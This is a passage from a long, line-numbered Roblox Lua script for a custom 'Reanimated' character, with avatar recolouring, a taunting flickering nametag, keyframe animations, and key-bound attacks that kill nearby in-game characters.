  4443. if FCharacter then
  4444. FCharacter:destroy()
  4445. end
  4446. local s = Instance.new("Sound",Character)
  4447. s.Name = "Reanimate"
  4448. s.Volume = 30
  4449. s.Pitch = 1
  4450. s.Looped = true
  4451. s.SoundId = "rbxassetid://247198974"
  4452. s:Play()
  4453.  
  4454.  
  4455. local hideName = Head:Clone()
  4456. hideName.Parent = Character
  4457. hideName.Name = "Hide"
  4458.  
  4459. hideName.BrickColor = BrickColor.new("Really black")
  4460. hideName:FindFirstChildOfClass"Decal":destroy()
  4461. Head:FindFirstChildOfClass"Decal":destroy()
  4462. for i,v in next, Character:children() do
  4463. if v:IsA"BasePart" and v ~= RootPart then
  4464. v.Transparency = 0.5
  4465. v.BrickColor = BrickColor.new"Really black"
  4466. end
  4467. end
  4468. Head.Transparency = 1
  4469.  
  4470. local nametag = Instance.new("BillboardGui",Character.Head)
  4471. nametag.StudsOffset = Vector3.new(0,2,0)
  4472. nametag.Adornee = Character.Head
  4473. nametag.Size = UDim2.new(0,200,0,50)
  4474.  
  4475. local text = Instance.new("TextLabel",nametag)
  4476. text.Size = UDim2.new(0,200,0,50)
  4477. text.BackgroundTransparency = 1
  4478. text.Text = "The Reanimated"
  4479. text.TextColor3 = Color3.new(180/255,0,0)
  4480. text.TextStrokeColor3 = Color3.new(0,0,0)
  4481. text.Font = Enum.Font.Fantasy
  4482. text.TextScaled = true
  4483. text.TextStrokeTransparency = 0
  4484. coroutine.wrap(function()
  4485. while wait() do
  4486. wait(3)
  4487. text.Text = "YOU DIED =)"
  4488. wait()
  4489. text.Text = "The Rendear";
  4490. wait(2)
  4491. local str = ""
  4492. for i = 1, math.random(3,25) do
  4493. str = str..string.char(math.random(65,122))
  4494. end
  4495. text.Text = str
  4496. wait()
  4497. str = ""
  4498. for i = 1, math.random(12,25) do
  4499. str = str..string.char(math.random(48,122))
  4500. end
  4501. wait()
  4502. text.Text = str
  4503. wait()
  4504. text.Text = "The Rendear";
  4505. wait(1)
  4506. text.Text = "GIVE UP!!"
  4507. wait()
  4508. text.Text = "DIE IN HELL"
  4509. wait()
  4510. text.Text = "The Rendear";
  4511. wait(2)
  4512. text.Text = "You made me mad..";
  4513. wait()
  4514. text.Text = "Heh";
  4515. wait()
  4516. for i = 1, math.random(12,25) do
  4517. str = str..string.char(math.random(48,57))
  4518. end
  4519. text.Text = str
  4520. wait()
  4521. text.Text = "The Rendear";
  4522. wait(2)
  4523. end
  4524. end)()
  4525. New("Weld",hideName,"Weld",{Part0=hideName,Part1=Head})
  4526. local BodyColors = Character:FindFirstChildOfClass"BodyColors"
  4527. if BodyColors then
  4528. BodyColors.HeadColor = BrickColor.new"Really black"
  4529. BodyColors.TorsoColor = BrickColor.new"Really black"
  4530. BodyColors.LeftArmColor = BrickColor.new"Really black"
  4531. BodyColors.RightArmColor = BrickColor.new"Really black"
  4532. BodyColors.LeftLegColor = BrickColor.new"Really black"
  4533. BodyColors.RightLegColor = BrickColor.new"Really black"
  4534. end
  4535. local fire;
  4536. local Fire;
  4537. if Character.Torso:FindFirstChild"FireParticie" then
  4538. fire = Character.Torso:FindFirstChild"FireParticie"
  4539. end
  4540. if Character.Torso:FindFirstChild"cackle cackle" then
  4541. Fire = Character.Torso:FindFirstChild"cackle cackle"
  4542. end
  4543. wait(1)
  4544. for i = 0, 1, 0.1 do
  4545. swait()
  4546. PlayAnimationFromTable({
  4547. CFrame.new(-0, 0, 0, 1, 2.74374239e-42, 0, -4.14784345e-43, 1, 3.94815568e-21, 0, -3.94815568e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4548. CFrame.new(4.11561359e-42, 1.5, 0, 1, 2.74374239e-42, 0, 2.74374239e-42, 1, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4549. CFrame.new(1.70000088, -1.07288361e-06, -1.90953349e-22, 0.976871967, -0.213825449, 1.12325362e-22, 0.213825434, 0.976871967, 4.79021585e-25, -1.09829936e-22, 2.35504137e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4550. CFrame.new(-1.68000042, 1.1920929e-06, -2.14759493e-22, 0.960208833, 0.279283047, -1.27832979e-22, -0.279283017, 0.960208833, 2.26565901e-23, 1.29073825e-22, 1.39469598e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4551. CFrame.new(0.810000062, -1.99999988, 8.44388509e-23, 0.977508307, -0.210897148, 7.18926177e-24, 0.210897148, 0.977508307, 4.51306188e-23, -1.65455308e-23, -4.25998015e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4552. CFrame.new(-0.760003924, -1.99999833, 8.66891997e-23, 0.958771527, 0.284177125, -5.31260585e-24, -0.284177125, 0.958771527, 4.5364475e-23, 1.79848674e-23, -4.19834551e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4553. }, .3, false)
  4554. end
  4555. wait(2)
  4556. for i = 1, 3 do
  4557. for i = 0, 1, 0.1 do
  4558. swait()
  4559. PlayAnimationFromTable({
  4560. CFrame.new(-0, 0, 0, 1, 2.74374239e-42, 0, -4.14784345e-43, 1, 3.94815568e-21, 0, -3.94815568e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4561. CFrame.new(-1.46917455e-25, 1.5, 5.57377561e-26, 0.845658779, -9.794497e-26, -0.533723354, 6.01806207e-26, 1, -8.32027374e-26, 0.533723354, 3.71585041e-26, 0.845658779) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4562. CFrame.new(1.70000088, -1.07288361e-06, -1.90953349e-22, 0.976871967, -0.213825449, 1.12325362e-22, 0.213825434, 0.976871967, 4.79021585e-25, -1.09829936e-22, 2.35504137e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4563. CFrame.new(-1.68000042, 1.1920929e-06, -2.14759493e-22, 0.960208833, 0.279283047, -1.27832979e-22, -0.279283017, 0.960208833, 2.26565901e-23, 1.29073825e-22, 1.39469598e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4564. CFrame.new(0.810000062, -1.99999988, 8.44388509e-23, 0.977508307, -0.210897148, 7.18926177e-24, 0.210897148, 0.977508307, 4.51306188e-23, -1.65455308e-23, -4.25998015e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4565. CFrame.new(-0.760003924, -1.99999833, 8.66891997e-23, 0.958771527, 0.284177125, -5.31260585e-24, -0.284177125, 0.958771527, 4.5364475e-23, 1.79848674e-23, -4.19834551e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4566. }, .3, false)
  4567. end
  4568. wait()
  4569. for i = 0, 1, 0.1 do
  4570. swait()
  4571. PlayAnimationFromTable({
  4572. CFrame.new(-0, 0, 0, 1, 2.74374239e-42, 0, -4.14784345e-43, 1, 3.94815568e-21, 0, -3.94815568e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4573. CFrame.new(-1.48432068e-25, 1.5, 5.99786723e-26, 0.533723056, -9.8954712e-26, 0.845658302, 8.05774083e-26, 1, 6.07864659e-26, -0.845658302, 3.99857816e-26, 0.533723056) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4574. CFrame.new(1.70000088, -1.07288361e-06, -1.90953349e-22, 0.976871967, -0.213825449, 1.12325362e-22, 0.213825434, 0.976871967, 4.79021585e-25, -1.09829936e-22, 2.35504137e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4575. CFrame.new(-1.68000042, 1.1920929e-06, -2.14759493e-22, 0.960208833, 0.279283047, -1.27832979e-22, -0.279283017, 0.960208833, 2.26565901e-23, 1.29073825e-22, 1.39469598e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4576. CFrame.new(0.810000062, -1.99999988, 8.44388509e-23, 0.977508307, -0.210897148, 7.18926177e-24, 0.210897148, 0.977508307, 4.51306188e-23, -1.65455308e-23, -4.25998015e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4577. CFrame.new(-0.760003924, -1.99999833, 8.66891997e-23, 0.958771527, 0.284177125, -5.31260585e-24, -0.284177125, 0.958771527, 4.5364475e-23, 1.79848674e-23, -4.19834551e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4578. }, .3, false)
  4579. end
  4580. end
  4581.  
  4582. wait(1)
  4583. coroutine.wrap(function()
  4584. if fire then
  4585. for i = fire.Rate, 0, -5 do
  4586. fire.Rate = i
  4587. wait()
  4588. end
  4589. fire:destroy()
  4590. end
  4591. if Fire then
  4592. Fire:Stop()
  4593. Fire:destroy()
  4594. end
  4595. end)()
  4596.  
  4597. if knife and knifweld then
  4598. for i = 0, 1, 0.1 do
  4599. swait()
  4600. PlayAnimationFromTable({
  4601. CFrame.new(-0, 0, 0, 1, 2.74374239e-42, 0, -4.14784345e-43, 1, 3.94815568e-21, 0, -3.94815568e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4602. CFrame.new(6.27267406e-22, 1.5, 5.14489943e-21, 1, 4.18178271e-22, -7.99910562e-22, -4.18178271e-22, 1, -3.42993309e-21, 7.99910562e-22, 3.42993309e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4603. CFrame.new(1.70000088, -1.07288361e-06, -1.90953349e-22, 0.976871967, -0.213825449, 1.12325362e-22, 0.213825434, 0.976871967, 4.79021585e-25, -1.09829936e-22, 2.35504137e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4604. CFrame.new(-0.850000083, 0.490011454, 1.23001456, 0.713302493, -0.651785433, 0.25761947, 0.0951224491, 0.454213858, 0.885803401, -0.694377124, -0.607336044, 0.385999024) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4605. CFrame.new(0.810000062, -1.99999988, 8.44388509e-23, 0.977508307, -0.210897148, 7.18926177e-24, 0.210897148, 0.977508307, 4.51306188e-23, -1.65455308e-23, -4.25998015e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4606. CFrame.new(-0.760003924, -1.99999833, 8.66891997e-23, 0.958771527, 0.284177125, -5.31260585e-24, -0.284177125, 0.958771527, 4.5364475e-23, 1.79848674e-23, -4.19834551e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4607. }, .3, false)
  4608. end
  4609.  
  4610. knifweld.Part1 = LeftArm;
  4611. for i = 0, 1, 0.1 do
  4612. swait()
  4613. PlayAnimationFromTable({
  4614. CFrame.new(-0, 0, 0, 1, 2.74374239e-42, 0, -4.14784345e-43, 1, 3.94815568e-21, 0, -3.94815568e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4615. CFrame.new(6.272668e-22, 1.49999857, 5.14489458e-21, 1, 4.18178271e-22, -7.99910562e-22, -4.18178271e-22, 1, -3.42993309e-21, 7.99910562e-22, 3.42993309e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4616. CFrame.new(1.70000052, 7.74860382e-07, -1.90953299e-22, 0.976871967, -0.213825449, 1.12325362e-22, 0.213825434, 0.976871967, 4.79021585e-25, -1.09829936e-22, 2.35504137e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4617. CFrame.new(-1.86429644, 0.490001321, 0.353379637, 0.43522808, 0.781304598, -0.447369784, 0.0951220244, 0.454214871, 0.885799527, 0.895281255, -0.428079516, 0.123367772) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4618. CFrame.new(0.810000479, -2.00000167, 8.44389392e-23, 0.977508307, -0.210897148, 7.18926177e-24, 0.210897148, 0.977508307, 4.51306188e-23, -1.65455308e-23, -4.25998015e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4619. CFrame.new(-0.759997129, -2.00000238, 8.66894142e-23, 0.958771527, 0.284177125, -5.31260585e-24, -0.284177125, 0.958771527, 4.5364475e-23, 1.79848674e-23, -4.19834551e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4620. }, .3, false)
  4621. knifweld.C0 = clerp(knifweld.C0, CFrame.new(0.719429076, -0.636934459, -0.303826034, -0.694375217, 0.0951220244, -0.713298857, -0.607333899, 0.454214871, 0.651793361, 0.385990798, 0.885799527, -0.257624656):inverse(), 0.3)
  4622. end
  4623. wait(1)
  4624. for i = 0, 0.3, 0.1 do
  4625. swait()
  4626. PlayAnimationFromTable({
  4627. CFrame.new(-0, 0, 0, 1, 2.74374239e-42, 0, -4.14784345e-43, 1, 3.94815568e-21, 0, -3.94815568e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4628. CFrame.new(6.272668e-22, 1.49999857, 5.14489458e-21, 1, 4.18178271e-22, -7.99910562e-22, -4.18178271e-22, 1, -3.42993309e-21, 7.99910562e-22, 3.42993309e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4629. CFrame.new(1.70000052, 7.74860382e-07, -1.90953299e-22, 0.976871967, -0.213825449, 1.12325362e-22, 0.213825434, 0.976871967, 4.79021585e-25, -1.09829936e-22, 2.35504137e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4630. CFrame.new(-1.6177212, 0.490001768, -0.561156034, -0.897470236, 0.424123824, -0.121104449, 0.0951220244, 0.45421502, 0.885799348, 0.4306961, 0.783458829, -0.447987944) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4631. CFrame.new(0.810000479, -2.00000167, 8.44389392e-23, 0.977508307, -0.210897148, 7.18926177e-24, 0.210897148, 0.977508307, 4.51306188e-23, -1.65455308e-23, -4.25998015e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4632. CFrame.new(-0.759997129, -2.00000238, 8.66894142e-23, 0.958771527, 0.284177125, -5.31260585e-24, -0.284177125, 0.958771527, 4.5364475e-23, 1.79848674e-23, -4.19834551e-23, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4633. }, .7, false)
  4634. end
  4635. knifweld:destroy()
  4636. knife.CanCollide = true
  4637. knife.Velocity = Vector3.new(0,3,0) + Torso.CFrame.lookVector * 150
  4638. knife.Touched:connect(function(o)
  4639. if o and o.Parent and o.Parent:FindFirstChildOfClass"Humanoid" and o.Parent ~= Character then
  4640. o.Parent:BreakJoints()
  4641. end
  4642. end)
  4643. game:service'Debris':AddItem(knife,3)
  4644. wait(1)
  4645. end
  4646. local spike = Instance.new("Part",Character)
  4647. spike.Size = Vector3.new(1,5,1)
  4648. spike.BrickColor = BrickColor.new"Really black"
  4649. spike.CanCollide=false
  4650. local mesh = Instance.new("SpecialMesh",spike)
  4651. mesh.MeshType = Enum.MeshType.FileMesh
  4652. mesh.Scale = Vector3.new(0.5,0,0.5)
  4653. mesh.MeshId = "http://www.roblox.com/asset/?id=1033714"
  4654. local w = Instance.new("Weld",spike)
  4655. w.Part0 = spike;
  4656. w.Part1 = RightArm
  4657. w.C0 = CFrame.new(0,-1,0)*CFrame.Angles(math.rad(180),0,0)
  4658. for i = 0, 5, .2 do
  4659. mesh.Scale = Vector3.new(0.5,i,0.5)
  4660. wait()
  4661. end
  4662. Humanoid.Name = "..?"
  4663. Humanoid.MaxHealth = 6666669999
  4664. wait()
  4665. Humanoid.Health = 6666669999
  4666. local sitting = false
  4667. RootPart.Anchored = false
  4668. Humanoid.WalkSpeed = 16
  4669.  
  4670.  
  4671. Mouse.KeyDown:connect(function(k)
  4672. k = k:lower()
  4673. if attack == false and k == 'n' then
  4674. sitting = not sitting
  4675. end
  4676. end)
  4677.  
  4678. Mouse.KeyDown:connect(function(k)
  4679. k = k:lower()
  4680. if attack == false and k == '\\' then
  4681. attack = true
  4682. for i = 0, 1, .1 do
  4683. PlayAnimationFromTable({
  4684. CFrame.new(-0, -0, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4685. CFrame.new(-3.12924385e-06, 1.49999845, -0.190008759, 0.830971599, -3.46708561e-07, -0.556314826, 0.432258785, 0.629496157, 0.645667791, 0.350197822, -0.777003586, 0.523093581) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4686. CFrame.new(0.229988158, 0.77000308, -0.809998631, 0.526497126, 0.849815786, 0.024786748, 0.125237852, -0.0486874878, -0.990931571, -0.840902209, 0.524826705, -0.132062897) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4687. CFrame.new(-1.58000278, 0.540002823, -0.709999025, 0.270906031, 0.962609172, 4.37134879e-08, -0.962609172, 0.270906031, -1.83186105e-12, -1.18440182e-08, -4.20786073e-08, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4688. CFrame.new(0.729982853, -1.99999952, -3.19085629e-08, 0.986256778, -0.165219754, 4.37113883e-08, 0.165219754, 0.986256778, 0, -4.31106528e-08, 7.22198479e-09, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4689. CFrame.new(-0.66998899, -1.99999726, 2.92861486e-08, 0.986263514, 0.165178567, 4.37112391e-08, -0.165178567, 0.986263514, 4.9156893e-14, -4.31107914e-08, -7.22021065e-09, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4690. }, .3, false)
  4691. end
  4692. for i, v in pairs(FindNearestTorso(Torso.CFrame.p, 30)) do
  4693. if v:FindFirstChild('Torso') and v:FindFirstChildOfClass"Humanoid" then
  4694. if v:FindFirstChildOfClass"Humanoid".Health > 0 then
  4695. v:BreakJoints()
  4696. end
  4697. end
  4698. end
  4699. wait(3)
  4700. attack = false
  4701. end
  4702. end)
  4703. Mouse.KeyDown:connect(function(k)
  4704. k = k:lower()
  4705. if attack == false and k == 'z' then
  4706. attack=true
  4707. local grab = nil
  4708. local Grabbed = false
  4709. for i, v in pairs(FindNearestTorso(spike.CFrame.p, 5)) do
  4710. if v:FindFirstChild('Torso') and v:FindFirstChildOfClass"Humanoid" then
  4711. if v:FindFirstChildOfClass"Humanoid".Health > 0 then
  4712. Grabbed = true
  4713. grab = v
  4714. end
  4715. end
  4716. end
  4717. coroutine.wrap(function()
  4718. if grab then
  4719. while wait() do
  4720. if not grab then break end
  4721. if grab:FindFirstChild"Torso" then
  4722. grab.Torso.CFrame = spike.CFrame * CFrame.new(0,4,0)
  4723. end
  4724. end
  4725. end
  4726. end)()
  4727. for i = 0, 1, 0.1 do
  4728. swait()
  4729. PlayAnimationFromTable({
  4730. CFrame.new(-0, -0, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4731. CFrame.new(0, 1.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4732. CFrame.new(0.929986954, 0.769999504, -0.809990883, 0.814206779, 0.580045819, 0.0247832965, 0.0966590643, -0.0933407471, -0.990931332, -0.572472274, 0.809218228, -0.132065386) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4733. CFrame.new(-1.57999754, 0.0700003654, 6.90638799e-08, 0.987661004, 0.156606853, 4.37113883e-08, -0.156606853, 0.987661004, 0, -4.31720331e-08, -6.84550283e-09, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4734. CFrame.new(0.729982853, -1.99999952, -3.19085629e-08, 0.986256778, -0.165219754, 4.37113883e-08, 0.165219754, 0.986256778, 0, -4.31106528e-08, 7.22198479e-09, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4735. CFrame.new(-0.66998899, -1.99999726, 2.92861486e-08, 0.986263514, 0.165178567, 4.37112391e-08, -0.165178567, 0.986263514, 4.9156893e-14, -4.31107914e-08, -7.22021065e-09, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4736. }, .8, false)
  4737. end
  4738. wait(2)
  4739. if grab then
  4740. grab:BreakJoints()
  4741. grab = nil
  4742. end
  4743. attack = false
  4744. end
  4745. end)
  4746.  
  4747. local stomps = Instance.new("Sound", Character)
  4748. stomps.SoundId = "http://www.roblox.com/asset/?id=0"
  4749. stomps.Looped = true
  4750. stomps.Volume = 10
  4751. local footsteps = false
  4752.  
  4753. while true do
  4754. swait()
  4755. for i, v in pairs(Character:GetChildren()) do
  4756. if v:IsA("Part") then
  4757. v.Material = "SmoothPlastic"
  4758. elseif v:IsA("Accessory") then
  4759. v:WaitForChild("Handle").Material = "SmoothPlastic"
  4760. end
  4761. end
  4762. Torsovelocity = (RootPart.Velocity * Vector3.new(1, 0, 1)).magnitude
  4763. velocity = RootPart.Velocity.y
  4764. sine = sine + change
  4765. local RightLeg = CFrame.new(0.5,-1,0)
  4766. local LeftLeg = CFrame.new(-0.5,-1,0)
  4767.  
  4768. local lefth = (Torso.CFrame*LeftLeg)
  4769. local righth = (Torso.CFrame*RightLeg)
  4770.  
  4771. local speed = Vector3.new(Torso.Velocity.X,0,Torso.Velocity.Z)
  4772.  
  4773. local TiltOnAxis = (Torso.CFrame-Torso.CFrame.p):vectorToObjectSpace(speed/100)
  4774.  
  4775. local AngleThetaR = (righth-righth.p):vectorToObjectSpace(speed/100)
  4776. local AngleThetaL = (lefth-lefth.p):vectorToObjectSpace(speed/100)
  4777.  
  4778. local hit, pos = rayCast(RootPart.Position, (CFrame.new(RootPart.Position, RootPart.Position - Vector3.new(0, 1, 0))).lookVector, 4, Character)
  4779. if RootPart.Velocity.y > 1 and hit == nil then
  4780. Anim = "Jump"
  4781. if attack == false then
  4782. PlayAnimationFromTable({
  4783. CFrame.new(0, 0, 0, 1, -2.21689355e-12, -5.11591203e-13, -2.21689355e-12, 1, 7.74860496e-07, -5.11591203e-13, 7.74860496e-07, 1.00000048) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4784. CFrame.new(-0.0579944476, 1.48445117, -0.000906195492, 0.999631822, -0.0259140469, -0.00804444961, 0.0262291897, 0.998776913, 0.0419151038, 0.0069484422, -0.0421099029, 0.999089062) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4785. CFrame.new(1.68067598, 0.167780995, 5.50026158e-08, 0.965881884, -0.258982956, -3.41060513e-13, 0.258982956, 0.965881884, 4.47034836e-07, 8.49010675e-08, 3.16640808e-07, 1.00000024) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4786. CFrame.new(-1.67620921, 0.188169807, -3.04922651e-07, 0.95698452, 0.290146649, -2.61441073e-07, -0.290146649, 0.95698452, -1.0069979e-05, -2.89639524e-06, 1.04542296e-05, 1.00000024) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4787. CFrame.new(0.537238836, -1.93797374, 0.176598221, 0.998698533, -0.0506777391, -0.00574572897, 0.0510024093, 0.992341697, 0.112511501, -6.35704041e-08, -0.112657718, 0.993634105) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4788. CFrame.new(-0.536944568, -1.94808352, 0.126473114, 0.998626292, 0.0520468242, 0.00521374354, -0.0523067154, 0.993665218, 0.0995327011, -3.84102691e-07, -0.099668026, 0.995023906) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4789. }, .3, false)
  4790. LH.C1 = clerp(LH.C1,CFrame.new(0,0,0),1)
  4791. RH.C1 = clerp(RH.C1,CFrame.new(0,0,0),1)
  4792. RW.C1 = clerp(RW.C1,CFrame.new(0,0,0),1)
  4793. LW.C1 = clerp(LW.C1,CFrame.new(0,0,0),1)
  4794. end
  4795. elseif RootPart.Velocity.y < -1 and hit == nil then
  4796. Anim = "Fall"
  4797. if attack == false then
  4798. PlayAnimationFromTable({
  4799. CFrame.new(0, 0, 0, 1, -2.21689355e-12, -5.11591203e-13, -2.21689355e-12, 1, 7.74860496e-07, -5.11591203e-13, 7.74860496e-07, 1.00000048) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4800. CFrame.new(-0.0576509275, 1.50532985, -0.129091382, 0.999631822, -0.0231846143, -0.0140984114, 0.0262298863, 0.958684564, 0.283279002, 0.00694822101, -0.283544153, 0.958935201) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4801. CFrame.new(1.68622994, 0.21415168, 7.02040666e-08, 0.881990671, -0.471266806, -3.41060513e-13, 0.471266806, 0.881990671, 4.47034836e-07, 1.54493137e-07, 2.89139166e-07, 1.00000024) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4802. CFrame.new(-1.72513735, 0.240890861, 2.54038241e-07, 0.814108491, 0.58071363, -2.61430017e-07, -0.580713034, 0.814108849, -1.00698489e-05, -6.08482924e-06, 8.98058715e-06, 1.00000024) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4803. CFrame.new(0.536720514, -1.92783141, 0.223740995, 0.998698533, -0.0498600565, -0.0107376017, 0.0510031059, 0.976314366, 0.210260883, -3.04512355e-07, -0.210534185, 0.977587521) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4804. CFrame.new(-0.535922825, -1.92850935, 0.222419083, 0.99863112, 0.0512506701, 0.0104565797, -0.0523065142, 0.978474379, 0.199629858, -3.7062793e-07, -0.199902818, 0.97981596) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4805. }, .3, false)
  4806. LH.C1 = clerp(LH.C1,CFrame.new(0,0,0),1)
  4807. RH.C1 = clerp(RH.C1,CFrame.new(0,0,0),1)
  4808. RW.C1 = clerp(RW.C1,CFrame.new(0,0,0),1)
  4809. LW.C1 = clerp(LW.C1,CFrame.new(0,0,0),1)
  4810. end
  4811. elseif Torsovelocity < 1 and hit ~= nil then
  4812. Anim = "Idle"
  4813. if attack == false then
  4814. if sitting then
  4815. PlayAnimationFromTable({
  4816. CFrame.new(0, -1.79429209, 1.46916926, 1, 0, 0, 0, 0.686436713, -0.72718966, 0, 0.72718966, 0.686436713) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4817. CFrame.new(0, 1.49587059, -0.388922036, 1, 0, 0, 0, 0.926760077, 0.37564832, 0, -0.37564832, 0.926760077) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4818. CFrame.new(1.57999742, 0.115062252, 0.493130147, 0.905118704, -0.402649224, -0.136505559, 0.309478283, 0.403816581, 0.860903978, -0.291519076, -0.821465731, 0.49011308) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4819. CFrame.new(-1.57999468, -0.083268106, 0.472244143, 0.913947523, 0.383825779, 0.131824896, -0.312791735, 0.45925644, 0.831411481, 0.258575737, -0.801100194, 0.539793789) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4820. CFrame.new(0.729981065, -1.6900773, -0.349870145, 0.94077301, -0.296055317, 0.165220842, 0.326471359, 0.659609675, -0.677002609, 0.0914489403, 0.690846324, 0.717195749) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4821. CFrame.new(-0.669989347, -1.66948545, -0.371685445, 0.98626411, 0.00139324146, -0.165173233, -0.11338535, 0.732872367, -0.67085284, 0.120116085, 0.68036586, 0.722963512) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4822. }, .3, false)
  4823. else
  4824. change = 1
  4825. PlayAnimationFromTable({
  4826. CFrame.new(-0, -0, 0, 1, 0, 0, 0, 1, 3.94815568e-21, 0, -3.94815568e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4827. CFrame.new(0, 1.5, 5.92223352e-21, 1, 0, 0, 0, 1, -3.94815568e-21, 0, 3.94815568e-21, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4828. CFrame.new(1.57999372, 0.0500014573, -6.90637165e-08, 0.987661004, -0.156606853, 4.37113883e-08, 0.156606853, 0.987661004, -3.94815568e-21, -4.31720331e-08, 6.84550283e-09, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0) * CFrame.Angles(0, 0, 0+0.05*math.cos(sine/22)),
  4829. CFrame.new(-1.57999754, 0.0700003654, 6.90638799e-08, 0.987661004, 0.156606853, 4.37113883e-08, -0.156606853, 0.987661004, -3.94815568e-21, -4.31720331e-08, -6.84550283e-09, 1) * CFrame.new(0-0.05*math.cos(sine/22), 0, 0) * CFrame.Angles(0, 0, 0-0.05*math.cos(sine/22)),
  4830. CFrame.new(0.729982853, -1.99999952, -3.19085629e-08, 0.986256778, -0.165219754, 4.37113883e-08, 0.165219754, 0.986256778, -3.94815568e-21, -4.31106528e-08, 7.22198479e-09, 1) * CFrame.new(0+0.05*math.cos(sine/22), 0, 0) * CFrame.Angles(0, 0, 0+0.05*math.cos(sine/22)),
  4831. CFrame.new(-0.66998899, -1.99999726, 2.92861486e-08, 0.986263514, 0.165178567, 4.37112391e-08, -0.165178567, 0.986263514, 4.91568896e-14, -4.31107914e-08, -7.22021065e-09, 1) * CFrame.new(0-0.05*math.cos(sine/22), 0, 0) * CFrame.Angles(0, 0, 0-0.05*math.cos(sine/22)),
  4832. }, .3, false)
  4833. LH.C1 = clerp(LH.C1,CFrame.new(0,0,0),1)
  4834. RH.C1 = clerp(RH.C1,CFrame.new(0,0,0),1)
